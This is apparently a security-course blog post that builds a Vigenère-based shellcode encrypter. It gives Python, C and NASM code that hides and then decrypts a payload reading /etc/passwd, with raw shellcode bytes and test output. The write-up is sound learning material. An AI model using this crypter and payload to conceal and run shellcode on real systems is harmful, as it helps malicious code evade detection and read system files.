After completing the video lectures of the Security Tube Linux 64 bit Assembler Expert course (SLAE64), a series of assessments must be completed to gain certification. This is the seventh and final assignment; build a payload encrypter/decrypter.
We have used payload encoders in previous assignments, but this time we will build a hidden payload that requires a key to decrypt.
The choice of encryption method is left to the student and I spent a good while looking at the various encryption methods:
- AES - A modern and widely used block cipher scheme. Very complex to implement and would probably require a 3rd party library, making the assignment pretty pointless.
- RC4 - A fast and relatively easy to implement stream cipher. Unfortunately, Vivek used RC4 in his demo, I didn’t want to repeat his work.
- FISH, Scream, MUGI, etc - Complex, limited implementation documentation (my maths isn’t up to scratch).
While researching these schemes I stumbled onto some of the more classical cryptography schemes.
While modern crypto schemes produce streams or blocks of pseudo-random noise which is generally XORed against the cleartext, classical ciphers tended to use relocation or shifting of characters. Simple rotational schemes such as Caesar’s cipher or ROT13 barely qualify as encryption, the encoding operation is either fixed or easily brute forced. However, a Substitution Cipher requires a mapping table and this can be varied, forming a kind of key, although a large and cumbersome one.
The Vigenère cipher is a hybrid of substitution and rotation using a table built on an ascending rotation factor. However, it also makes use of a variable length key and so it is suitable for our needs.
How the Vigenère Cipher Works
The basic Vigenère cipher uses a Tabula recta or letter grid as a lookup table to combine the plaintext and key to produce the ciphertext.
To encrypt the cleartext ‘HELLO! I AM A TEST MESSAGE.’ with the key ‘TOPSECRET’, we take the letter ‘H’ from the plaintext and look down the left edge to find the corrsponding row in the grid. Then we take the letter ’T’ from the key and find the corresponding column. Where the row and column intersect, we find the first letter of the ciphertext: ‘A’.
We repeat this process for each letter of the plaintext, using the next letter of the key each time. If the key is shorter than the plaintext, we simply wrap around and restart at the beginning of the string. Note that spaces and punctuation in the cleartext are not transformed, this cipher is purely for the encryption of character data.
After completing the encryption process, the complete ciphertext is: ‘ASADS! K RQ T MSHL QGJWTZS.’
Reversing Vigenère encryption involves finding the row on the grid that corresponds to the first letter of the key, then finding the letter within the row that corresponds to the first letter of the ciphertext. Once the letter is located, look up to find the column letter that is the cleartext value. Repeat this process, repeating the key string as before until the message is revealed.
A Python Implementation
To implement the Vigenère process in code, my first thought was to build a lookup table of the Tabula recta in memory. However, as the row offsets are constant, I quickly realised that I could just calculate the positions on the fly. This turned out to be much easier than I expected.
Looking down the left edge of the lookup table, we see that the row ID letter corresponds with the first letter in that row. If we build a simple alphabetical array, we can look up the numeric position of a letter within the array and use that as the starting point, effectively creating the offset grid row.
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
message = "HELLO, I AM A TEST MESSAGE!"
for ch in message:
row_offset = table.find(ch)
The same principle applies to the column index; the ID values across the top of the grid are a numerical offset. We can look up the numeric position of the key letter and use that as an additional offset value on top of the row offset:
import itertools
keytext = "TOPSECRET"
key = itertools.cycle(keytext)
for ch in message:
col_offset = table.find(next(key))
The itertools.cycle generator simply outputs a character from the key string each time next() is called. Looping back to the start is automatically handled for us.
To find the ciphertext character, we simply add the two offsets together and find the letter at that position within the array. It is possible that the total of the two offsets could be greater than the size of the array, so we carry out a modulus 26 to keep the value within range. This simulates the wrap around of row data that occurs in the Tabula recta.
import itertools
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
message = "HELLO, I AM A TEST MESSAGE!"
keytext = "TOPSECRET"
# Expected result - "ASADS, K RQ T MSHL QGJWTZS!"
key = itertools.cycle(keytext)
cipher_text = bytearray()
for ch in message:
row_offset = table.find(ch)
col_offset = table.find(next(key))
cipher_text.append(ord(table[(row_offset+col_offset)%26]))
print(cipher_text.decode('utf-8'))
Unforunately, this does not give the expected result:
>>> ASADSBQMSTAOSDVVWMSATKWCXIS
The first few charatcers are correct, but it goes downhill fast because we are not taking account of the non-alphabetical characters. A quick test to see if the plaintext character we’re processing is in the array fixes the problem:
import itertools
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
message = "HELLO, I AM A TEST MESSAGE!"
keystr = "TOPSECRET"
# Expected result - "ASADS, K RQ T MSHL QGJWTZS!"
# Encrypt
key = itertools.cycle(keystr)
cipher_text = bytearray()
for ch in message:
if ch in table:
row_offset = table.find(ch)
col_offset = table.find(next(key))
cipher_text.append(ord(table[(row_offset+col_offset)%26]))
else:
cipher_text.append(ord(ch))
print(cipher_text.decode('utf-8'))
>>> ASADS, K RQ T MSHL QGJWTZS!
It is surprising how compact the encoder turned out to be. Python’s excellent substring handling makes the processing quite easy.
Decoding
Extracting the plaintext from the ciphertext is simply case of reversing the operation. The column offset is subtracted from the row offset. Again, a mod 26 is required to keep things in range.
import itertools
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
cipher_text = "ASADS, K RQ T MSHL QGJWTZS!"
keystr = "TOPSECRET"
# Decrypt
key = itertools.cycle(keystr)
clear_text = bytearray()
for ch in cipher_text:
if ch in table:
row_offset = table.find(ch)
col_offset = table.find(next(key))
clear_text.append(ord(table[(row_offset-col_offset)%26]))
else:
clear_text.append(ord(ch))
print(clear_text.decode('utf-8'))
>>> HELLO, I AM A TEST MESSAGE!
The complete Python demo is hosted on GitHub: VigenèreDemo.py
Cipher Weaknesses and Problems with Binary Data
Vigenère is surprisingly strong for a classical cipher. However, there are a number of attacks which are effective against the method:
- Key length guessing is possible by examining the ciphertext for repeating patterns.
- Frequency analysis is effective against large sections of ciphertext.
- Plain old brute forcing of the key is also possible, but keys can be any length, even the same length as the plaintext.
A bigger problem our application is that the basic cipher only deals with upper-case alphabetic characters, we need to encrypt binary data.
Modifying the Method
Looking at the Python code above, it is not difficult to extend the 26 x 26 grid to a 256 x 256 grid. This allows all possible values for an 8 bit byte to be covered and actually helps prevent some of the attacks on the method as we are no longer dealing with predictable, human readable plaintext.
This modification of the Vigenère method actually results in even more compact code. As we’re using the numeric value of each byte as the offset, we no longer need the alphabet lookup table, we simply add the byte values together and apply a mod 256.
import itertools
import sys
def main():
message = b"HELLO, I AM A TEST MESSAGE!"
keytext = b"TOPSECRET"
ciphertext = encrypt(message, keytext)
for h in ciphertext:
sys.stdout.write('\\' + hex(h)[1:])
def encrypt(clear_text, keystr):
key = itertools.cycle(keystr)
cipher_text = bytearray()
for ch in clear_text:
offset = next(key)
cipher_text.append((ch+offset)%256)
return cipher_text
\x9c\x94\x9c\x9f\x94\x6f\x72\x8e\x74\x95\x9c\x70\x94\x65\x97\x97\x98\xa8\x74\x9c\x95\xa6\x98\x84\x99\x8a\x75
Decryption is a simple matter of flipping the operation by subtracting the offset:
def decrypt(cipher_text, keystr):
key = itertools.cycle(keystr)
clear_text = bytearray()
for ch in cipher_text:
offset = next(key)
clear_text.append((ch-offset)%256)
return clear_text
\x48\x45\x4c\x4c\x4f\x2c\x20\x49\x20\x41\x4d\x20\x41\x20\x54\x45\x53\x54\x20\x4d\x45\x53\x53\x41\x47\x45\x21
HELLO, I AM A TEST MESSAGE!
Again, the complete binary Vigenère demo is hosted on GitHub: Vigenère256.py
This modified Vigenère method seems ideal for implementation in our shellcode. We can encrypt binary data with a key and the decryption routine is not going to be huge when written into a decoder header.
C Decoder
Using the Shellcode Wrapper as a starting point, we can build a decoder for Vigenère256 encrypted payloads.
The Vigenère256 demo can be easily tweaked to produce a shellcode cryptor.
Taking the shellcode from the password dumper developed in Assignment 6 and pushing it through the crypter with a key string gives us our payload:
MBP:slae64$ python vig256_encoder.py 0x68,0x73,0x77,0x64,0x01,0x48,0xbb,0x2f,
0x65,0x74,0x63,0x2f,0x70,0x61,0x73,0x53,0x48,0x89,0xe7,0xfe,0x4f,0x0b,0x6a,
0x02,0x48,0x29,0xf6,0x58,0x0f,0x05,0x50,0x48,0x96,0x50,0x5a,0x5f,0x66,0x81,
0xea,0x01,0xf0,0x48,0x29,0xd4,0x48,0x8d,0x34,0x24,0x0f,0x05,0x6a,0x01,0x5a,
0x48,0x92,0x50,0x5f,0x0f,0x05,0x6a,0x3c,0x58,0x0f,0x05 TOPSECRET
Hex Shellcode
0xbc,0xc2,0xc7,0xb7,0x46,0x8b,0x0d,0x74,0xb9,0xc8,
0xb2,0x7f,0xc3,0xa6,0xb6,0xa5,0x8d,0xdd,0x3b,0x4d,
0x9f,0x5e,0xaf,0x45,0x9a,0x6e,0x4a,0xac,0x5e,0x55,
0xa3,0x8d,0xd9,0xa2,0x9f,0xb3,0xba,0xd0,0x3a,0x54,
0x35,0x8b,0x7b,0x19,0x9c,0xe1,0x83,0x74,0x62,0x4a,
0xad,0x53,0x9f,0x9c,0xe6,0x9f,0xaf,0x62,0x4a,0xad,
0x8e,0x9d,0x63,0x59,
C Style Array
"\xbc\xc2\xc7\xb7\x46\x8b\x0d\x74\xb9\xc8"
"\xb2\x7f\xc3\xa6\xb6\xa5\x8d\xdd\x3b\x4d"
"\x9f\x5e\xaf\x45\x9a\x6e\x4a\xac\x5e\x55"
"\xa3\x8d\xd9\xa2\x9f\xb3\xba\xd0\x3a\x54"
"\x35\x8b\x7b\x19\x9c\xe1\x83\x74\x62\x4a"
"\xad\x53\x9f\x9c\xe6\x9f\xaf\x62\x4a\xad"
"\x8e\x9d\x63\x59";
With the shellcode string assigned to our code and the decryption key provided as an argument to the program, we need to set up a pointer for each string and length variables to control the loops. We don’t have Python’s awesome string handling now, so a liitle more work is required.
unsigned char code[] = \
"\xbc\xc2\xc7\xb7\x46\x8b\x0d\x74\xb9\xc8"
"\xb2\x7f\xc3\xa6\xb6\xa5\x8d\xdd\x3b\x4d"
"\x9f\x5e\xaf\x45\x9a\x6e\x4a\xac\x5e\x55"
"\xa3\x8d\xd9\xa2\x9f\xb3\xba\xd0\x3a\x54"
"\x35\x8b\x7b\x19\x9c\xe1\x83\x74\x62\x4a"
"\xad\x53\x9f\x9c\xe6\x9f\xaf\x62\x4a\xad"
"\x8e\x9d\x63\x59";
main(int argc, char ** argv)
{
int keyLen, keyPtr;
int ctLen, ctPtr;
// Set up pointers and limits
char *key = argv[1];
keyPtr = 0;
keyLen = strlen(key);
ctLen = strlen(code);
Then it is just a case of running the Vigenère decode over the payload:
for(ctPtr=0; ctPtr < ctLen; ctPtr++)
{
// Decode the payload byte
code[ctPtr] = (code[ctPtr]-key[keyPtr]) % 256;
// Increment and loop the key string
keyPtr++;
if(keyPtr >= keyLen)
{
keyPtr=0;
}
}
The full code is at vigenere.c. Testing the code shows that the crypter is working properly and the shellcode is decoded correctly.
codehead@ubuntu:~/SLAE64$ ./vigenere
Please provide a key string
codehead@ubuntu:~/SLAE64$ ./vigenere NOTTHEPASSWORD
Segmentation fault (core dumped)
codehead@ubuntu:~/SLAE64$ ./vigenere TOPSECRET
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
Assembler Version
Just for fun, let’s build a pure shellcode version of the decrypter. We can’t use arguments when executing shellcode so the payload will have to request the decryption key when it runs.
SYS_WRITE and SYS_READ calls are used to prompt for the key and get input.
; Prompt for key
mov ebx, 0x0a3f7965 ; Build a prompt string
shl rbx, 8
add rbx, 0x4b
push rbx
mov rsi, rsp ; Get prompt string addr
push 5
pop rdx ; String length
push 1
pop rax
syscall ; sys_write
; Read response
push 64 ; Max string size
pop rdx
add rsp, rdx ; Make room on the stack
mov rsi, rsp ; Pointer to stack space
xor rax, rax ; Clear syscall id
push rax
pop rdi ; STDIN
syscall ; sys_read
After the key has been provided, RAX will contain the length of the input, including the return character. As we need to know the key length for the string repetition, we subtract 1 from RAX to provide the length of the characters.
dec rax ; String length minus newline
We use jump, call, pop to get the address of the encoded payload:
; Get the payload address
jmp _code_marker
_decode_start:
pop rdi ; Payload address
push 59 ; Payload length
pop rcx
xor rdx, rdx ; Offset value
...
_code_marker:
call _decode_start
_payload:
db 0xbc, 0xc2, 0xc7, 0xb7, 0x46, 0x8b, 0x0d, 0x74, 0xb9, 0xc8
db 0xb2, 0x7f, 0xc3, 0xa6, 0xb6, 0xa5, 0x8d, 0xdd, 0x3b, 0x4d
db 0x9f, 0x5e, 0xaf, 0x45, 0x9a, 0x6e, 0x4a, 0xac, 0x5e, 0x55
db 0xa3, 0x8d, 0xd9, 0xa2, 0x9f, 0xb3, 0xba, 0xd0, 0x3a, 0x54
db 0x35, 0x8b, 0x7b, 0x19, 0x9c, 0xe1, 0x83, 0x74, 0x62, 0x4a
db 0xad, 0x53, 0x9f, 0x9c, 0xe6, 0x9f, 0xaf, 0x62, 0x4a
We also setup a length count in RCX and an offset for the key string in RDX.
At this point, we have the payload address in RDI, the key string address in RSI, the payload length in RCX, an offset for the key string in RDX and the length of the key string in RAX. We’re all set to perform the Vigenère decode:
; Vigenere decode
_decode:
mov bl, [rdi] ; Get a byte from payload
sub bl, [rsi+rdx] ; Subtract key value
mov [rdi], bl ; Replace encoded value
The last free general register, RBX is used to hold the byte value while it is being decoded.
After each decode, we need to move the string pointers. The payload pointer is simple, but we do need to check for wraparound in the key string.
; Move pointers
inc rdi ; Encoded data pointer
inc rdx ; Key offset value
; Check for loop in keystring
cmp al, dl ; Compare to string length
jne _next
xor rdx, rdx ; Reset if required
_next:
loop _decode
The LOOP and RCX value take care of repeating the decode loop until the entire payload has been processed. It is then simply a case of jumping to the start of the shellcode:
jmp _payload ; Jump to decoded payload
A quick test shows that the payload works as expected:
codehead@ubuntu:~/SLAE64$ ./vig_asm
Key?
NotCorrect
Segmentation fault (core dumped)
codehead@ubuntu:~/SLAE64$ ./vig_asm
Key?
TOPSECRET
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
...
The encryption key does not have to be typed, it can be piped into the process for interaction free execution:
codehead@ubuntu:~/SLAE64$ echo TOPSECRET | ./vig_asm
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
The complete Nasm listing for this version of the crypter is on Github: vigenere.nasm. To finish things off, I also created a Python script which will encode arbitrary shellcode strings and build the decoder and payload shellcode automatically (Vig_Builder.py)
Conclusion
This completes the 7th assessment and ends my time on the SLAE4 course. I have immensely enjoyed the entire course, but I found working through these exercises particularly useful. I suspect I have learned more by fumbling, failing, experimenting and eventually understanding the assignments than I did from watching the videos. However, I would like to thank Vivek and his team for producing an outstanding course which provides a great grounding in x64 assembler, does a great job of demonstrating examples, then steps back and allows you to explore the rest on your own.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE64-1471